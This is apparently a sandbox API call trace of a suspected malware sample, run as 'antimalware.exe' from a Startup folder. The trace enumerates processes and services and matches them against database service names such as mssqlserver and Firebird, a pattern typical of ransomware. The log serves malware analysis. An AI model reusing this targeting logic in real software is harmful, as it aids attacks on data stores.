	[0148.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0148.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0148.692] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0148.692] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0148.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0148.692] lstrlenW (lpString="SecurityHealthService") returned 21
	[0148.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0148.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0148.692] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0148.692] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0148.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0148.692] lstrlenW (lpString="SENS") returned 4
	[0148.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0148.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0148.692] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0148.692] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0148.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0148.692] lstrlenW (lpString="ShellHWDetection") returned 16
	[0148.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0148.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0148.693] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0148.693] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0148.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0148.693] lstrlenW (lpString="Spooler") returned 7
	[0148.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0148.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0148.693] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0148.693] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0148.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0148.693] lstrlenW (lpString="StateRepository") returned 15
	[0148.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0148.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0148.693] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0148.693] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0148.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0148.693] lstrlenW (lpString="SysMain") returned 7
	[0148.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0148.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0148.693] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0148.693] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0148.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0148.693] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0148.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0148.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0148.694] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0148.694] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0148.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0148.694] lstrlenW (lpString="Themes") returned 6
	[0148.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0148.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0148.694] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0148.694] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0148.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0148.694] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0148.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0148.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0148.694] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0148.694] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0148.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x459f450 | out: hHeap=0x4f0000) returned 1
	[0148.694] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x42c
	[0148.699] Process32FirstW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0148.700] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0148.701] lstrlenW (lpString="System") returned 6
	[0148.701] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0148.710] lstrlenW (lpString="smss.exe") returned 8
	[0148.710] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0148.711] lstrlenW (lpString="csrss.exe") returned 9
	[0148.711] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0148.712] lstrlenW (lpString="wininit.exe") returned 11
	[0148.712] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0148.713] lstrlenW (lpString="csrss.exe") returned 9
	[0148.713] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0148.714] lstrlenW (lpString="winlogon.exe") returned 12
	[0148.714] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0148.715] lstrlenW (lpString="services.exe") returned 12
	[0148.715] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0148.716] lstrlenW (lpString="lsass.exe") returned 9
	[0148.716] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0148.717] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0148.717] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0148.718] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0148.718] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0148.719] lstrlenW (lpString="svchost.exe") returned 11
	[0148.719] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0148.720] lstrlenW (lpString="svchost.exe") returned 11
	[0148.720] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0148.721] lstrlenW (lpString="dwm.exe") returned 7
	[0148.721] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0148.722] lstrlenW (lpString="svchost.exe") returned 11
	[0148.722] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0148.723] lstrlenW (lpString="svchost.exe") returned 11
	[0148.723] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0148.724] lstrlenW (lpString="svchost.exe") returned 11
	[0148.724] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0148.725] lstrlenW (lpString="svchost.exe") returned 11
	[0148.725] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0148.726] lstrlenW (lpString="svchost.exe") returned 11
	[0148.726] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0148.727] lstrlenW (lpString="svchost.exe") returned 11
	[0148.727] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0148.728] lstrlenW (lpString="svchost.exe") returned 11
	[0148.728] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0148.729] lstrlenW (lpString="svchost.exe") returned 11
	[0148.729] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0148.730] lstrlenW (lpString="svchost.exe") returned 11
	[0148.730] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0148.731] lstrlenW (lpString="svchost.exe") returned 11
	[0148.731] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0148.732] lstrlenW (lpString="spoolsv.exe") returned 11
	[0148.732] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0148.733] lstrlenW (lpString="svchost.exe") returned 11
	[0148.733] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0148.766] lstrlenW (lpString="audiodg.exe") returned 11
	[0148.766] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0148.767] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0148.767] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0148.768] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0148.768] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0148.769] lstrlenW (lpString="sihost.exe") returned 10
	[0148.769] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0148.770] lstrlenW (lpString="Memory Compression") returned 18
	[0148.770] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0148.771] lstrlenW (lpString="svchost.exe") returned 11
	[0148.771] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0148.772] lstrlenW (lpString="taskhostw.exe") returned 13
	[0148.772] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0148.773] lstrlenW (lpString="msoia.exe") returned 9
	[0148.773] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0148.774] lstrlenW (lpString="taskhostw.exe") returned 13
	[0148.774] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0148.775] lstrlenW (lpString="explorer.exe") returned 12
	[0148.775] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0148.776] lstrlenW (lpString="SearchUI.exe") returned 12
	[0148.776] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0148.777] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0148.777] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0148.778] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0148.778] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0148.779] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0148.779] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0148.780] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0148.780] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0148.781] lstrlenW (lpString="cmd.exe") returned 7
	[0148.781] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0148.782] lstrlenW (lpString="conhost.exe") returned 11
	[0148.782] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0148.783] lstrlenW (lpString="consent.exe") returned 11
	[0148.783] Process32NextW (in: hSnapshot=0x42c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0
	[0148.784] CloseHandle (hObject=0x42c) returned 1
	[0148.784] Sleep (dwMilliseconds=0x1f4) 
	[0149.504] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45b0070
	[0149.504] EnumServicesStatusExW (in: hSCManager=0x45b0070, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0149.505] GetLastError () returned 0xea
	[0149.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1bc4) returned 0x463efc0
	[0149.505] EnumServicesStatusExW (in: hSCManager=0x45b0070, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x463efc0, cbBufSize=0x1bc4, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x463efc0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0149.506] CloseServiceHandle (hSCObject=0x45b0070) returned 1
	[0149.506] lstrlenW (lpString="Appinfo") returned 7
	[0149.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0149.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0149.507] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0149.507] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0149.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0149.507] lstrlenW (lpString="AppXSvc") returned 7
	[0149.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0149.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0149.507] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0149.507] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0149.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0149.507] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0149.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0149.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0149.507] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0149.507] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0149.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0149.507] lstrlenW (lpString="Audiosrv") returned 8
	[0149.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0149.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0149.507] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0149.507] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0149.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0149.507] lstrlenW (lpString="BFE") returned 3
	[0149.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0149.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0149.508] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0149.508] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0149.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0149.508] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0149.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0149.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0149.508] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0149.508] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0149.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0149.508] lstrlenW (lpString="CDPSvc") returned 6
	[0149.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0149.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0149.508] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0149.508] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0149.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0149.508] lstrlenW (lpString="ClickToRunSvc") returned 13
